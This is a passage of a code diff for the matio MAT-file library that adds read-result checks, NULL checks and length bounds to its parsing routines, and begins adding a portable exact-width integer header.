Mat_Critical("InflateDataType: inflate returned %s",zError(err == Z_NEED_DICT ? Z_DATA_ERROR : err));
return bytesread;
}
- while ( z->avail_out && !z->avail_in ) {
+ while ( z->avail_out && !z->avail_in && 1 == readresult ) {
z->avail_in = 1;
z->next_in = comp_buf;
- bytesread += fread(comp_buf,1,1,(FILE*)mat->fp);
+ readresult = fread(comp_buf,1,1,(FILE*)mat->fp);
+ bytesread += readresult;
err = inflate(z,Z_NO_FLUSH);
if ( err != Z_OK ) {
Mat_Critical("InflateDataType: inflate returned %s",zError(err == Z_NEED_DICT ? Z_DATA_ERROR : err));
@@ -713,7 +737,7 @@ InflateFieldNameLength(mat_t *mat, matvar_t *matvar, void *buf)
{
mat_uint8_t comp_buf[32];
int err;
- size_t bytesread = 0;
+ size_t bytesread = 0, readresult = 1;
if ( buf == NULL )
return 0;
@@ -730,10 +754,11 @@ InflateFieldNameLength(mat_t *mat, matvar_t *matvar, void *buf)
Mat_Critical("InflateFieldNameLength: inflate returned %s",zError(err == Z_NEED_DICT ? Z_DATA_ERROR : err));
return bytesread;
}
- while ( matvar->internal->z->avail_out && !matvar->internal->z->avail_in ) {
+ while ( matvar->internal->z->avail_out && !matvar->internal->z->avail_in && 1 == readresult ) {
matvar->internal->z->avail_in = 1;
matvar->internal->z->next_in = comp_buf;
- bytesread += fread(comp_buf,1,1,(FILE*)mat->fp);
+ readresult = fread(comp_buf,1,1,(FILE*)mat->fp);
+ bytesread += readresult;
err = inflate(matvar->internal->z,Z_NO_FLUSH);
if ( err != Z_OK ) {
Mat_Critical("InflateFieldNameLength: inflate returned %s",zError(err == Z_NEED_DICT ? Z_DATA_ERROR : err));
@@ -764,7 +789,7 @@ InflateFieldNamesTag(mat_t *mat, matvar_t *matvar, void *buf)
{
mat_uint8_t comp_buf[32];
int err;
- size_t bytesread = 0;
+ size_t bytesread = 0, readresult = 1;
if ( buf == NULL )
return 0;
@@ -781,10 +806,11 @@ InflateFieldNamesTag(mat_t *mat, matvar_t *matvar, void *buf)
Mat_Critical("InflateFieldNamesTag: inflate returned %s",zError(err == Z_NEED_DICT ? Z_DATA_ERROR : err));
return bytesread;
}
- while ( matvar->internal->z->avail_out && !matvar->internal->z->avail_in ) {
+ while ( matvar->internal->z->avail_out && !matvar->internal->z->avail_in && 1 == readresult ) {
matvar->internal->z->avail_in = 1;
matvar->internal->z->next_in = comp_buf;
- bytesread += fread(comp_buf,1,1,(FILE*)mat->fp);
+ readresult = fread(comp_buf,1,1,(FILE*)mat->fp);
+ bytesread += readresult;
err = inflate(matvar->internal->z,Z_NO_FLUSH);
if ( err != Z_OK ) {
Mat_Critical("InflateFieldNamesTag: inflate returned %s",zError(err == Z_NEED_DICT ? Z_DATA_ERROR : err));
@@ -823,7 +849,7 @@ InflateFieldNames(mat_t *mat,matvar_t *matvar,void *buf,int nfields,
{
mat_uint8_t comp_buf[32];
int err;
- size_t bytesread = 0;
+ size_t bytesread = 0, readresult = 1;
if ( buf == NULL )
return 0;
@@ -840,10 +866,11 @@ InflateFieldNames(mat_t *mat,matvar_t *matvar,void *buf,int nfields,
Mat_Critical("InflateFieldNames: inflate returned %s",zError(err == Z_NEED_DICT ? Z_DATA_ERROR : err));
return bytesread;
}
- while ( matvar->internal->z->avail_out && !matvar->internal->z->avail_in ) {
+ while ( matvar->internal->z->avail_out && !matvar->internal->z->avail_in && 1 == readresult ) {
matvar->internal->z->avail_in = 1;
matvar->internal->z->next_in = comp_buf;
- bytesread += fread(comp_buf,1,1,(FILE*)mat->fp);
+ readresult = fread(comp_buf,1,1,(FILE*)mat->fp);
+ bytesread += readresult;
err = inflate(matvar->internal->z,Z_NO_FLUSH);
if ( err != Z_OK ) {
Mat_Critical("InflateFieldNames: inflate returned %s",zError(err == Z_NEED_DICT ? Z_DATA_ERROR : err));
diff --git a/src/mat5.c b/src/mat5.c
index bf7ceb28..d641d557 100644
--- a/src/mat5.c
+++ b/src/mat5.c
@@ -766,7 +766,13 @@ ReadNextCell( mat_t *mat, matvar_t *matvar )
bytesread+=InflateSkip(mat,matvar->internal->z,nbytes);
}
if ( cells[i]->class_type != MAT_C_OPAQUE ) {
- bytesread += InflateDimensions(mat,matvar,uncomp_buf);
+ mat_uint32_t* dims = NULL;
+ int do_clean = 0;
+ bytesread += InflateRankDims(mat,matvar,uncomp_buf,sizeof(uncomp_buf),&dims);
+ if ( NULL == dims )
+ dims = uncomp_buf + 2;
+ else
+ do_clean = 1;
nbytes -= 8;
if ( mat->byteswap ) {
(void)Mat_uint32Swap(uncomp_buf);
@@ -780,14 +786,16 @@ ReadNextCell( mat_t *mat, matvar_t *matvar )
cells[i]->dims = (size_t*)malloc(cells[i]->rank*sizeof(*cells[i]->dims));
if ( mat->byteswap ) {
for ( j = 0; j < cells[i]->rank; j++ )
- cells[i]->dims[j] = Mat_uint32Swap(uncomp_buf+2+j);
+ cells[i]->dims[j] = Mat_uint32Swap(dims + j);
} else {
for ( j = 0; j < cells[i]->rank; j++ )
- cells[i]->dims[j] = uncomp_buf[2+j];
+ cells[i]->dims[j] = dims[j];
}
if ( cells[i]->rank % 2 != 0 )
nbytes -= 4;
}
+ if ( do_clean )
+ free(dims);
bytesread += InflateVarNameTag(mat,matvar,uncomp_buf);
nbytes -= 8;
if ( mat->byteswap ) {
@@ -797,24 +805,28 @@ ReadNextCell( mat_t *mat, matvar_t *matvar )
/* Handle cell elements written with a variable name */
if ( uncomp_buf[1] > 0 ) {
/* Name of variable */
- int len = 0;
if ( uncomp_buf[0] == MAT_T_INT8 ) { /* Name not in tag */
- len = uncomp_buf[1];
+ mat_uint32_t len = uncomp_buf[1];
if ( len % 8 > 0 )
len = len+(8-(len % 8));
cells[i]->name = (char*)malloc(len+1);
- /* Inflate variable name */
- bytesread += InflateVarName(mat,matvar,cells[i]->name,len);
- cells[i]->name[len] = '\0';
nbytes -= len;
- } else if ( ((uncomp_buf[0] & 0x0000ffff) == MAT_T_INT8) &&
- ((uncomp_buf[0] & 0xffff0000) != 0x00) ) {
- /* Name packed in tag */
- len = (uncomp_buf[0] & 0xffff0000) >> 16;
- cells[i]->name = (char*)malloc(len+1);
- memcpy(cells[i]->name,uncomp_buf+1,len);
- cells[i]->name[len] = '\0';
+ if ( NULL != cells[i]->name ) {
+ /* Inflate variable name */
+ bytesread += InflateVarName(mat,matvar,cells[i]->name,len);
+ cells[i]->name[len] = '\0';
+ }
+ } else {
+ mat_uint32_t len = (uncomp_buf[0] & 0xffff0000) >> 16;
+ if ( ((uncomp_buf[0] & 0x0000ffff) == MAT_T_INT8) && len > 0 && len <= 4 ) {
+ /* Name packed in tag */
+ cells[i]->name = (char*)malloc(len+1);
+ if ( NULL != cells[i]->name ) {
+ memcpy(cells[i]->name,uncomp_buf+1,len);
+ cells[i]->name[len] = '\0';
+ }
+ }
}
}
cells[i]->internal->z = (z_streamp)calloc(1,sizeof(z_stream));
@@ -973,7 +985,8 @@ ReadNextCell( mat_t *mat, matvar_t *matvar )
static size_t
ReadNextStructField( mat_t *mat, matvar_t *matvar )
{
- int fieldname_size, j;
+ mat_uint32_t fieldname_size;
+ int j;
size_t bytesread = 0, nfields, nmemb = 1, i;
matvar_t **fields = NULL;
@@ -995,10 +1008,6 @@ ReadNextStructField( mat_t *mat, matvar_t *matvar )
}
if ( (uncomp_buf[0] & 0x0000ffff) == MAT_T_INT32 ) {
fieldname_size = uncomp_buf[1];
- if ( 0 >= fieldname_size ) {
- Mat_Critical("Size of fieldname must be positive");
- return bytesread;
- }
} else {
Mat_Critical("Error getting fieldname size");
return bytesread;
@@ -1009,8 +1018,7 @@ ReadNextStructField( mat_t *mat, matvar_t *matvar )
(void)Mat_uint32Swap(uncomp_buf);
(void)Mat_uint32Swap(uncomp_buf+1);
}
- nfields = uncomp_buf[1];
- nfields = nfields / fieldname_size;
+ nfields = uncomp_buf[1] / fieldname_size;
matvar->data_size = sizeof(matvar_t *);
if ( nfields*fieldname_size % 8 != 0 )
@@ -1019,18 +1027,22 @@ ReadNextStructField( mat_t *mat, matvar_t *matvar )
i = 0;
if ( nfields ) {
char *ptr = (char*)malloc(nfields*fieldname_size+i);
- bytesread += InflateFieldNames(mat,matvar,ptr,nfields,fieldname_size,i);
- matvar->internal->num_fields = nfields;
- matvar->internal->fieldnames =
- (char**)calloc(nfields,sizeof(*matvar->internal->fieldnames));
- for ( i = 0; i < nfields; i++ ) {
- matvar->internal->fieldnames[i] = (char*)malloc(fieldname_size);
- if ( NULL != matvar->internal->fieldnames[i] ) {
- memcpy(matvar->internal->fieldnames[i], ptr+i*fieldname_size, fieldname_size);
- matvar->internal->fieldnames[i][fieldname_size-1] = '\0';
+ if ( NULL != ptr ) {
+ bytesread += InflateFieldNames(mat,matvar,ptr,nfields,fieldname_size,i);
+ matvar->internal->num_fields = nfields;
+ matvar->internal->fieldnames =
+ (char**)calloc(nfields,sizeof(*matvar->internal->fieldnames));
+ if ( NULL != matvar->internal->fieldnames ) {
+ for ( i = 0; i < nfields; i++ ) {
+ matvar->internal->fieldnames[i] = (char*)malloc(fieldname_size);
+ if ( NULL != matvar->internal->fieldnames[i] ) {
+ memcpy(matvar->internal->fieldnames[i], ptr+i*fieldname_size, fieldname_size);
+ matvar->internal->fieldnames[i][fieldname_size-1] = '\0';
+ }
+ }
}
+ free(ptr);
}
- free(ptr);
} else {
matvar->internal->num_fields = 0;
matvar->internal->fieldnames = NULL;
@@ -1100,7 +1112,13 @@ ReadNextStructField( mat_t *mat, matvar_t *matvar )
bytesread+=InflateSkip(mat,matvar->internal->z,nbytes);
}
if ( fields[i]->class_type != MAT_C_OPAQUE ) {
- bytesread += InflateDimensions(mat,matvar,uncomp_buf);
+ mat_uint32_t* dims = NULL;
+ int do_clean = 0;
+ bytesread += InflateRankDims(mat,matvar,uncomp_buf,sizeof(uncomp_buf),&dims);
+ if ( NULL == dims )
+ dims = uncomp_buf + 2;
+ else
+ do_clean = 1;
nbytes -= 8;
if ( mat->byteswap ) {
(void)Mat_uint32Swap(uncomp_buf);
@@ -1116,14 +1134,16 @@ ReadNextStructField( mat_t *mat, matvar_t *matvar )
sizeof(*fields[i]->dims));
if ( mat->byteswap ) {
for ( j = 0; j < fields[i]->rank; j++ )
- fields[i]->dims[j] = Mat_uint32Swap(uncomp_buf+2+j);
+ fields[i]->dims[j] = Mat_uint32Swap(dims+j);
} else {
for ( j = 0; j < fields[i]->rank; j++ )
- fields[i]->dims[j] = uncomp_buf[2+j];
+ fields[i]->dims[j] = dims[j];
}
if ( fields[i]->rank % 2 != 0 )
nbytes -= 4;
}
+ if ( do_clean )
+ free(dims);
bytesread += InflateVarNameTag(mat,matvar,uncomp_buf);
nbytes -= 8;
fields[i]->internal->z = (z_streamp)calloc(1,sizeof(z_stream));
@@ -1180,10 +1200,6 @@ ReadNextStructField( mat_t *mat, matvar_t *matvar )
}
if ( (buf[0] & 0x0000ffff) == MAT_T_INT32 ) {
fieldname_size = buf[1];
- if ( 0 >= fieldname_size ) {
- Mat_Critical("Size of fieldname must be positive");
- return bytesread;
- }
} else {
Mat_Critical("Error getting fieldname size");
return bytesread;
@@ -1193,19 +1209,20 @@ ReadNextStructField( mat_t *mat, matvar_t *matvar )
(void)Mat_uint32Swap(buf);
(void)Mat_uint32Swap(buf+1);
}
- nfields = buf[1];
- nfields = nfields / fieldname_size;
+ nfields = buf[1] / fieldname_size;
matvar->data_size = sizeof(matvar_t *);
if ( nfields ) {
matvar->internal->num_fields = nfields;
matvar->internal->fieldnames =
(char**)calloc(nfields,sizeof(*matvar->internal->fieldnames));
- for ( i = 0; i < nfields; i++ ) {
- matvar->internal->fieldnames[i] = (char*)malloc(fieldname_size);
- if ( NULL != matvar->internal->fieldnames[i] ) {
- bytesread+=fread(matvar->internal->fieldnames[i],1,fieldname_size,(FILE*)mat->fp);
- matvar->internal->fieldnames[i][fieldname_size-1] = '\0';
+ if ( NULL != matvar->internal->fieldnames ) {
+ for ( i = 0; i < nfields; i++ ) {
+ matvar->internal->fieldnames[i] = (char*)malloc(fieldname_size);
+ if ( NULL != matvar->internal->fieldnames[i] ) {
+ bytesread+=fread(matvar->internal->fieldnames[i],1,fieldname_size,(FILE*)mat->fp);
+ matvar->internal->fieldnames[i][fieldname_size-1] = '\0';
+ }
}
}
} else {
@@ -1360,8 +1377,7 @@ ReadRankDims(mat_t *mat, matvar_t *matvar, enum matio_types data_type, mat_uint3
for ( i = 0; i < matvar->rank; i++) {
size_t readresult = fread(&buf, sizeof(mat_uint32_t), 1, (FILE*)mat->fp);
- int readerror = readresult != 1;
- if ( readerror == 0 ) {
+ if ( 1 == readresult ) {
bytesread += sizeof(mat_uint32_t);
if ( mat->byteswap ) {
matvar->dims[i] = Mat_uint32Swap(&buf);
@@ -1379,8 +1395,7 @@ ReadRankDims(mat_t *mat, matvar_t *matvar, enum matio_types data_type, mat_uint3
if ( matvar->rank % 2 != 0 ) {
size_t readresult = fread(&buf, sizeof(mat_uint32_t), 1, (FILE*)mat->fp);
- int readerror = readresult != 1;
- if ( readerror == 0 ) {
+ if ( 1 == readresult ) {
bytesread += sizeof(mat_uint32_t);
} else {
Mat_Critical("An error occurred in reading the MAT file");
@@ -2612,6 +2627,9 @@ Mat_VarRead5(mat_t *mat, matvar_t *matvar)
matvar->data_size = (int)Mat_SizeOf(MAT_T_UINT8);
matvar->nbytes = len*matvar->data_size;
}
+ if ( matvar->isComplex ) {
+ break;
+ }
matvar->data = calloc(matvar->nbytes+1,1);
if ( NULL == matvar->data ) {
Mat_Critical("Couldn't allocate memory for the data");
@@ -2621,7 +2639,7 @@ Mat_VarRead5(mat_t *mat, matvar_t *matvar)
break;
}
if ( matvar->compression == MAT_COMPRESSION_NONE ) {
- nBytes = ReadCharData(mat,(char*)matvar->data,packed_type,len);
+ nBytes = ReadCharData(mat,(char*)matvar->data,packed_type,(int)matvar->nbytes);
/*
* If the data was in the tag we started on a 4-byte
* boundary so add 4 to make it an 8-byte
@@ -2633,7 +2651,7 @@ Mat_VarRead5(mat_t *mat, matvar_t *matvar)
#if defined(HAVE_ZLIB)
} else if ( matvar->compression == MAT_COMPRESSION_ZLIB ) {
nBytes = ReadCompressedCharData(mat,matvar->internal->z,
- (char*)matvar->data,packed_type,len);
+ (char*)matvar->data,packed_type,(int)matvar->nbytes);
/*
* If the data was in the tag we started on a 4-byte
* boundary so add 4 to make it an 8-byte
@@ -4616,54 +4634,65 @@ Mat_VarReadNextInfo5( mat_t *mat )
}
}
if ( matvar->class_type != MAT_C_OPAQUE ) {
- /* Inflate dimensions */
- bytesread += InflateDimensions(mat,matvar,uncomp_buf);
+ mat_uint32_t* dims = NULL;
+ int do_clean = 0;
+ bytesread += InflateRankDims(mat,matvar,uncomp_buf,sizeof(uncomp_buf),&dims);
+ if ( NULL == dims )
+ dims = uncomp_buf + 2;
+ else
+ do_clean = 1;
if ( mat->byteswap ) {
(void)Mat_uint32Swap(uncomp_buf);
(void)Mat_uint32Swap(uncomp_buf+1);
}
/* Rank and dimension */
if ( uncomp_buf[0] == MAT_T_INT32 ) {
- int i;
+ int j;
nbytes = uncomp_buf[1];
matvar->rank = nbytes / 4;
matvar->dims = (size_t*)malloc(matvar->rank*sizeof(*matvar->dims));
if ( mat->byteswap ) {
- for ( i = 0; i < matvar->rank; i++ )
- matvar->dims[i] = Mat_uint32Swap(&(uncomp_buf[2+i]));
+ for ( j = 0; j < matvar->rank; j++ )
+ matvar->dims[j] = Mat_uint32Swap(dims + j);
} else {
- for ( i = 0; i < matvar->rank; i++ )
- matvar->dims[i] = uncomp_buf[2+i];
+ for ( j = 0; j < matvar->rank; j++ )
+ matvar->dims[j] = dims[j];
}
}
+ if ( do_clean )
+ free(dims);
/* Inflate variable name tag */
bytesread += InflateVarNameTag(mat,matvar,uncomp_buf);
if ( mat->byteswap )
(void)Mat_uint32Swap(uncomp_buf);
/* Name of variable */
if ( uncomp_buf[0] == MAT_T_INT8 ) { /* Name not in tag */
- int len, i;
+ mat_uint32_t len, len_pad;
if ( mat->byteswap )
len = Mat_uint32Swap(uncomp_buf+1);
else
len = uncomp_buf[1];
if ( len % 8 == 0 )
- i = len;
+ len_pad = len;
else
- i = len+(8-(len % 8));
- matvar->name = (char*)malloc(i+1);
- /* Inflate variable name */
- bytesread += InflateVarName(mat,matvar,matvar->name,i);
- matvar->name[len] = '\0';
- } else if ( ((uncomp_buf[0] & 0x0000ffff) == MAT_T_INT8) &&
- ((uncomp_buf[0] & 0xffff0000) != 0x00) ) {
- /* Name packed in tag */
- int len;
- len = (uncomp_buf[0] & 0xffff0000) >> 16;
- matvar->name = (char*)malloc(len+1);
- memcpy(matvar->name,uncomp_buf+1,len);
- matvar->name[len] = '\0';
+ len_pad = len + 8 - (len % 8);
+ matvar->name = (char*)malloc(len_pad + 1);
+ if ( NULL != matvar->name ) {
+ /* Inflate variable name */
+ bytesread += InflateVarName(mat,matvar,matvar->name,len_pad);
+ matvar->name[len] = '\0';
+ }
+ } else {
+ mat_uint32_t len = (uncomp_buf[0] & 0xffff0000) >> 16;
+ if ( ((uncomp_buf[0] & 0x0000ffff) == MAT_T_INT8) && len > 0 && len <= 4 ) {
+ /* Name packed in tag */
+ matvar->name = (char*)malloc(len+1);
+ if ( NULL != matvar->name ) {
+ memcpy(matvar->name,uncomp_buf+1,len);
+ matvar->name[len] = '\0';
+ }
+ }
}
if ( matvar->class_type == MAT_C_STRUCT )
(void)ReadNextStructField(mat,matvar);
@@ -4720,30 +4749,37 @@ Mat_VarReadNextInfo5( mat_t *mat )
(void)Mat_uint32Swap(buf);
/* Name of variable */
if ( buf[0] == MAT_T_INT8 ) { /* Name not in tag */
- int len, i;
-
+ mat_uint32_t len, len_pad;
if ( mat->byteswap )
len = Mat_uint32Swap(buf+1);
else
len = buf[1];
if ( len % 8 == 0 )
- i = len;
+ len_pad = len;
else
- i = len+(8-(len % 8));
- bytesread+=fread(buf,1,i,(FILE*)mat->fp);
-
- matvar->name = (char*)malloc(len+1);
- memcpy(matvar->name,buf,len);
- matvar->name[len] = '\0';
- } else if ( ((buf[0] & 0x0000ffff) == MAT_T_INT8) &&
- ((buf[0] & 0xffff0000) != 0x00) ) {
- /* Name packed in the tag */
- int len;
-
- len = (buf[0] & 0xffff0000) >> 16;
- matvar->name = (char*)malloc(len+1);
- memcpy(matvar->name,buf+1,len);
- matvar->name[len] = '\0';
+ len_pad = len + 8 - (len % 8);
+ matvar->name = (char*)malloc(len_pad + 1);
+ if ( NULL != matvar->name ) {
+ size_t readresult = fread(matvar->name,1,len_pad,(FILE*)mat->fp);
+ bytesread += readresult;
+ if ( readresult == len_pad) {
+ matvar->name[len] = '\0';
+ } else {
+ free(matvar->name);
+ matvar->name = NULL;
+ Mat_Critical("An error occurred in reading the MAT file");
+ }
+ }
+ } else {
+ mat_uint32_t len = (buf[0] & 0xffff0000) >> 16;
+ if ( ((buf[0] & 0x0000ffff) == MAT_T_INT8) && len > 0 && len <= 4 ) {
+ /* Name packed in tag */
+ matvar->name = (char*)malloc(len+1);
+ if ( NULL != matvar->name ) {
+ memcpy(matvar->name,buf+1,len);
+ matvar->name[len] = '\0';
+ }
+ }
}
if ( matvar->class_type == MAT_C_STRUCT )
(void)ReadNextStructField(mat,matvar);
diff --git a/src/matio_private.h b/src/matio_private.h
index aed8264b..f453d375 100644
--- a/src/matio_private.h
+++ b/src/matio_private.h
@@ -210,7 +210,7 @@ EXTERN size_t InflateSkip2(mat_t *mat, matvar_t *matvar, int nbytes);
EXTERN size_t InflateSkipData(mat_t *mat,z_streamp z,enum matio_types data_type,int len);
EXTERN size_t InflateVarTag(mat_t *mat, matvar_t *matvar, void *buf);
EXTERN size_t InflateArrayFlags(mat_t *mat, matvar_t *matvar, void *buf);
-EXTERN size_t InflateDimensions(mat_t *mat, matvar_t *matvar, void *buf);
+EXTERN size_t InflateRankDims(mat_t *mat, matvar_t *matvar, void *buf, size_t nbytes, mat_uint32_t** dims);
EXTERN size_t InflateVarNameTag(mat_t *mat, matvar_t *matvar, void *buf);
EXTERN size_t InflateVarName(mat_t *mat,matvar_t *matvar,void *buf,int N);
EXTERN size_t InflateDataTag(mat_t *mat, matvar_t *matvar, void *buf);
diff --git a/src/mat.c b/src/mat.c
index 265d60ca..1aba5228 100644
--- a/src/mat.c
+++ b/src/mat.c
@@ -873,7 +873,7 @@ Mat_VarCreate(const char *name,enum matio_classes class_type,
while ( fields[nfields] != NULL )
nfields++;
if ( nmemb )
- nfields = nfields / nmemb;
+ nfields /= nmemb;
matvar->internal->num_fields = nfields;
if ( nfields ) {
size_t i;
@@ -1822,7 +1822,7 @@ Mat_VarPrint( matvar_t *matvar, int printdata )
printf(" (logical)");
printf("\n");
if ( matvar->data_type ) {
- const char *data_type_desc[23] = {"Unknown","8-bit, signed integer",
+ const char *data_type_desc[25] = {"Unknown","8-bit, signed integer",
"8-bit, unsigned integer","16-bit, signed integer",
"16-bit, unsigned integer","32-bit, signed integer",
"32-bit, unsigned integer","IEEE 754 single-precision","RESERVED",
@@ -1830,8 +1830,8 @@ Mat_VarPrint( matvar_t *matvar, int printdata )
"64-bit, signed integer","64-bit, unsigned integer", "Matlab Array",
"Compressed Data","Unicode UTF-8 Encoded Character Data",
"Unicode UTF-16 Encoded Character Data",
- "Unicode UTF-32 Encoded Character Data","","String","Cell Array",
- "Structure"};
+ "Unicode UTF-32 Encoded Character Data","RESERVED","String","Cell Array",
+ "Structure","Array","Function"};
printf(" Data Type: %s\n", data_type_desc[matvar->data_type]);
}
diff --git a/tools/matdump.c b/tools/matdump.c
index ac56ad60..995db3e2 100644
--- a/tools/matdump.c
+++ b/tools/matdump.c
@@ -759,7 +759,6 @@ print_default(matvar_t *matvar)
break;
case MAT_C_STRUCT:
{
- matvar_t **fields = (matvar_t **)matvar->data;
int nfields;
int i;
size_t nmemb;
@@ -785,8 +784,12 @@ print_default(matvar_t *matvar)
} else if ( nfields > 0 && nmemb > 0 ) {
Mat_Message("Fields[%d] {", nfields);
indent++;
- for ( i = 0; i < nfields*nmemb; i++ )
- print_default(fields[i]);
+ {
+ matvar_t **fields = (matvar_t **)matvar->data;
+ if ( NULL != fields )
+ for ( i = 0; i < nfields*nmemb; i++ )
+ print_default(fields[i]);
+ }
indent--;
Mat_Message("}");
}
@@ -794,7 +797,6 @@ print_default(matvar_t *matvar)
}
case MAT_C_CELL:
{
- matvar_t **cells = (matvar_t **)matvar->data;
size_t ncells;
int i;
@@ -809,8 +811,12 @@ print_default(matvar_t *matvar)
Mat_Message("Class Type: Cell Array");
Mat_Message("{");
indent++;
- for ( i = 0; i < ncells; i++ )
- print_default(cells[i]);
+ {
+ matvar_t **cells = (matvar_t **)matvar->data;
+ if ( NULL != cells )
+ for ( i = 0; i < ncells; i++ )
+ print_default(cells[i]);
+ }
indent--;
Mat_Message("}");
break;
diff --git a/src/Makefile.am b/src/Makefile.am
index 4815b7e6..395d0c4a 100644
--- a/src/Makefile.am
+++ b/src/Makefile.am
@@ -40,7 +40,7 @@ endif
nodist_noinst_HEADERS = matioConfig.h
nodist_include_HEADERS = matio_pubconf.h
include_HEADERS = matio.h
-noinst_HEADERS = matio_private.h mat4.h mat5.h mat73.h
+noinst_HEADERS = exact-int.h matio_private.h mat4.h mat5.h mat73.h safe-math.h
lib_LTLIBRARIES = libmatio.la
libmatio_la_SOURCES = snprintf.c endian.c io.c $(ZLIB_SRC) read_data.c \
mat5.c mat4.c mat.c matvar_cell.c matvar_struct.c
diff --git a/src/exact-int.h b/src/exact-int.h
new file mode 100644
index 00000000..918b8f76
--- /dev/null
+++ b/src/exact-int.h
@@ -0,0 +1,229 @@
+/* Exact-width integer types
+ * Portable Snippets - https://gitub.com/nemequ/portable-snippets
+ * Created by Evan Nemerson <evan@nemerson.com>
+ *
+ * To the extent possible under law, the authors have waived all
+ * copyright and related or neighboring rights to this code. For
+ * details, see the Creative Commons Zero 1.0 Universal license at
+ * https://creativecommons.org/publicdomain/zero/1.0/
+ *
+ * This header tries to define psnip_(u)int(8|16|32|64)_t to
+ * appropriate types given your system. For most systems this means
+ * including <stdint.h> and adding a few preprocessor definitions.
+ *
+ * If you prefer, you can define any necessary types yourself.
+ * Snippets in this repository which rely on these types will not
+ * attempt to include this header if you have already defined the
+ * types it uses.
+ */
+
+#if !defined(PSNIP_EXACT_INT_H)
+# define PSNIP_EXACT_INT_H
+# if !defined(PSNIP_EXACT_INT_HAVE_STDINT)
+# if defined(_STDC_VERSION__) && (__STDC_VERSION__ >= 199901L)
+# define PSNIP_EXACT_INT_HAVE_STDINT
+# elif defined(__has_include)
+# if __has_include(<stdint.h>)
+# define PSNIP_EXACT_INT_HAVE_STDINT
+# endif
+# elif \
+ defined(HAVE_STDINT_H) || \
+ defined(_STDINT_H_INCLUDED) || \
+ defined(_STDINT_H) || \
+ defined(_STDINT_H_)
+# define PSNIP_EXACT_INT_HAVE_STDINT
+# elif \
+ (defined(__GNUC__) && ((__GNUC__ > 4) || (__GNUC__ == 4 && __GNUC_MINOR__ >= 5))) || \
+ (defined(_MSC_VER) && (_MSC_VER >= 1600)) || \
+ (defined(__SUNPRO_C) && (__SUNPRO_C >= 0x570)) || \
+ (defined(__WATCOMC__) && (__WATCOMC__ >= 1250))
+# define PSNIP_EXACT_INT_HAVE_STDINT
+# endif
+# endif
+
+# if \
+ defined(__INT8_TYPE__) && defined(__INT16_TYPE__) && defined(__INT32_TYPE__) && defined(__INT64_TYPE__) && \
+ defined(__UINT8_TYPE__) && defined(__UINT16_TYPE__) && defined(__UINT32_TYPE__) && defined(__UINT64_TYPE__)
+# define psnip_int8_t __INT8_TYPE__
+# define psnip_int16_t __INT16_TYPE__
+# define psnip_int32_t __INT32_TYPE__
+# define psnip_int64_t __INT64_TYPE__
+# define psnip_uint8_t __UINT8_TYPE__
+# define psnip_uint16_t __UINT16_TYPE__
+# define psnip_uint32_t __UINT32_TYPE__
+# define psnip_uint64_t __UINT64_TYPE__
+# elif defined(PSNIP_EXACT_INT_HAVE_STDINT)
+# include <stdint.h>
+# if !defined(psnip_int8_t)
+# define psnip_int8_t int8_t
+# endif
+# if !defined(psnip_uint8_t)
+# define psnip_uint8_t uint8_t
+# endif
+# if !defined(psnip_int16_t)
+# define psnip_int16_t int16_t
+# endif
+# if !defined(psnip_uint16_t)
+# define psnip_uint16_t uint16_t
+# endif
+# if !defined(psnip_int32_t)
+# define psnip_int32_t int32_t
+# endif
+# if !defined(psnip_uint32_t)
+# define psnip_uint32_t uint32_t
+# endif
+# if !defined(psnip_int64_t)
+# define psnip_int64_t int64_t
+# endif
+# if !defined(psnip_uint64_t)
+# define psnip_uint64_t uint64_t
+# endif
+# elif defined(_MSC_VER)
+# if !defined(psnip_int8_t)
+# define psnip_int8_t __int8
+# endif
+# if !defined(psnip_uint8_t)
+# define psnip_uint8_t unsigned __int8
+# endif
+# if !defined(psnip_int16_t)
+# define psnip_int16_t __int16
+# endif
+# if !defined(psnip_uint16_t)
+# define psnip_uint16_t unsigned __int16
+# endif
+# if !defined(psnip_int32_t)
+# define psnip_int32_t __int32
+# endif
+# if !defined(psnip_uint32_t)
+# define psnip_uint32_t unsigned __int32
+# endif
+# if !defined(psnip_int64_t)
+# define psnip_int64_t __int64
+# endif
+# if !defined(psnip_uint64_t)
+# define psnip_uint64_t unsigned __int64
+# endif
+# else
+# include <limits.h>
+# if !defined(psnip_int8_t)
+# if defined(CHAR_MIN) && defined(CHAR_MAX) && (CHAR_MIN == (-127-1)) && (CHAR_MAX == 127)
+# define psnip_int8_t char
+# elif defined(SHRT_MIN) && defined(SHRT_MAX) && (SHRT_MIN == (-127-1)) && (SHRT_MAX == 127)
+# define psnip_int8_t short
+# elif defined(INT_MIN) && defined(INT_MAX) && (INT_MIN == (-127-1)) && (INT_MAX == 127)
+# define psnip_int8_t int
+# elif defined(LONG_MIN) && defined(LONG_MAX) && (LONG_MIN == (-127-1)) && (LONG_MAX == 127)
+# define psnip_int8_t long
+# elif defined(LLONG_MIN) && defined(LLONG_MAX) && (LLONG_MIN == (-127-1)) && (LLONG_MAX == 127)
+# define psnip_int8_t long long
+# else
+# error Unable to locate 8-bit signed integer type.
+# endif
+# endif
+# if !defined(psnip_uint8_t)
+# if defined(UCHAR_MAX) && (UCHAR_MAX == 255)
+# define psnip_uint8_t unsigned char
+# elif defined(USHRT_MAX) && (USHRT_MAX == 255)
+# define psnip_uint8_t unsigned short
+# elif defined(UINT_MAX) && (UINT_MAX == 255)
+# define psnip_uint8_t unsigned int
+# elif defined(ULONG_MAX) && (ULONG_MAX == 255)
+# define psnip_uint8_t unsigned long
+# elif defined(ULLONG_MAX) && (ULLONG_MAX == 255)
+# define psnip_uint8_t unsigned long long
+# else
+# error Unable to locate 8-bit unsigned integer type.
+# endif
+# endif
+# if !defined(psnip_int16_t)
+# if defined(CHAR_MIN) && defined(CHAR_MAX) && (CHAR_MIN == (-32767-1)) && (CHAR_MAX == 32767)
+# define psnip_int16_t char
+# elif defined(SHRT_MIN) && defined(SHRT_MAX) && (SHRT_MIN == (-32767-1)) && (SHRT_MAX == 32767)
+# define psnip_int16_t short
+# elif defined(INT_MIN) && defined(INT_MAX) && (INT_MIN == (-32767-1)) && (INT_MAX == 32767)
+# define psnip_int16_t int
+# elif defined(LONG_MIN) && defined(LONG_MAX) && (LONG_MIN == (-32767-1)) && (LONG_MAX == 32767)
+# define psnip_int16_t long
+# elif defined(LLONG_MIN) && defined(LLONG_MAX) && (LLONG_MIN == (-32767-1)) && (LLONG_MAX == 32767)
+# define psnip_int16_t long long
+# else
+# error Unable to locate 16-bit signed integer type.
+# endif
+# endif
+# if !defined(psnip_uint16_t)
+# if defined(UCHAR_MAX) && (UCHAR_MAX == 65535)
